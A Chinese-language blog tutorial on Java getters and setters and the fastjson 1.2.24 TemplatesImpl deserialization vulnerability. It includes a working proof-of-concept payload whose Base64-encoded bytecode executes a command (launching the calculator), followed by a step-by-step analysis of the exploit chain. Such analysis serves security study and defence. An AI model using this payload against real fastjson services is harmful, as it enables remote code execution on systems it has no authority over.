1. 程式人生 > 其它 >Java--fastjson-1.2.24 TemplatesImpl 反序列化

Java--fastjson-1.2.24 TemplatesImpl 反序列化

getter和setter

先來看一下Java中的getter和setter方法,

簡單來說就是呼叫setter方法設定變數的值,呼叫getter方法來獲取變數的值。

體現了Java三大特性之一封裝

用private去修飾一個變數,然後再用setter方法去設定該變數的值,然後在用getter方法去呼叫該變數的值

package first;

public class Student{
    private String number;//學生學號
    private String name;//學生姓名
    private int grade;//學生成績

    public Student(){
    }

    
public String getNumber(){//用get方法得到學號(下同) return number; } public void setNumber(String number){//用set方法去設定學號(下同) this.number=number; } public String getName(){ return name; } public void setName(String name){ this.name=name; } public int
getGrade(){ return grade; } public void setGrade(int grade){ this.grade=grade; } public static void main(String agrs[]){ Student st=new Student(); st.setNumber("MX16604"); st.setName("小明"); st.setGrade(100); System.out.println("學號為:"+st.getNumber()+","+"姓名為:"+st.getName()+","+"成績為:"+st.getGrade()+"."); } }

執行結果是很簡單的:

那麼再來看看除錯的過程

通過setter方法已經把初值賦給了private的三個屬性

然後呼叫getter獲取值

TemplatesImpl 反序列化

去下載fastjson-1.2.24的jar包,載入到專案下

這個java檔案位於com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

給出一個簡單的poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


public class TemplatesImplPoc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        // Fastjson預設只會反序列化public修飾的屬性,outputProperties和_bytecodes由private修飾,必須加入Feature.SupportNonPublicField 在parseObject中才能觸發;
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

為什麼json的paylaod這樣寫呢,下面先來了解一些基礎

@type是指定了解析的類,也就是後面寫的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

fastjson去指定類反序列化得到該類的例項。

(注意在預設情況下只會去反序列化public所修飾的屬性,而poc中用到的_bytecodes和_name都是私有屬性)

想要反序列化私有屬性就得在用parseObject()時候設定Feature.SupportNonPublicField

_bytecodes——是我們把惡意類的.class檔案二進位制格式進行Base64編碼後得到的字串;

_outputProperties——漏洞利用鏈的關鍵 會呼叫其引數的getOutputProperties()方法,進而導致命令執行;

_tfactory:{}——在defineTransletClasses()時會呼叫getExternalExtensionsMap(),當為null時會報錯,所以要對_tfactory設定;

除錯分析

在 getOutputProperties()處下斷點,反序列化後呼叫到這裡,該方法又呼叫了

newTransformer().getOutputProperties()方法

然後我們跟進進入newTransformer()方法,看到又呼叫了getTransletInstance()方法

繼續跟進getTransletInstance()方法,可以看到已經在構造建立生成Java類了

這裡需要_name不為空且,_class為空就會去呼叫defineTransletClasses()這個方法

這裡需要說明一下 這個defineTransletClasses()的邏輯要求_bytecodes不為空

著就會呼叫自定義的 ClassLoader 去載入_bytecodes中的byte[]。而_bytecodes也是該類的成員屬性。

而如果這個類的父類為ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

就會將類成員屬性的,_transletIndex設定為當前迴圈中的標記位,

而如果是第一次呼叫,就是_class[0]。如果父類不是這個類,將會丟擲異常。

再往後就是生成我們位元組碼定義的惡意類,執行命令彈計算器了

整個個呼叫鏈就是:

反序列化時候,因為getter方法getOutputProperties滿足條件被fastjson呼叫,這個方法觸發了整個利用流程。

getOutputProperties()->newTransformer()->getTransletInstance()(這裡生成我們的惡意類)->defineTransletClasses()

EvilClass.newInstance()

對_bytecodes進行Base64編碼

分析Fastjson對JSON字串的解析過程,原理Fastjson提取byte[]陣列欄位值時會進行Base64解碼,所以我們構造payload時需要對_bytecodes欄位進行Base64加密處理。

需要設定_tfactory為{}

由前面的除錯分析知道,在getTransletInstance()函式中呼叫了defineTransletClasses()函式,defineTransletClasses()函式是用於生成Java類的,在其中會新建一個轉換類載入器,其中會呼叫到_tfactory.getExternalExtensionsMap()方法,若_tfactory為null則會導致這段程式碼報錯、從而無法生成惡意類,進而無法成功攻擊利用:

同樣的在前面可以看到需要滿足_name也不為空。

反序列化呼叫getter方法時會呼叫到TemplatesImpl.getOutputProperties()方法

getOutputProperties()方法是個無引數的非靜態的getter方法,以get開頭且第四個字母為大寫形式,其返回值型別是Properties即繼承自Map型別,Fastjson反序列化時會呼叫的getter方法的條件,因此在使用Fastjson對TemplatesImpl類物件進行反序列化操作時會自動呼叫getOutputProperties()方法。

參考:Java反序列化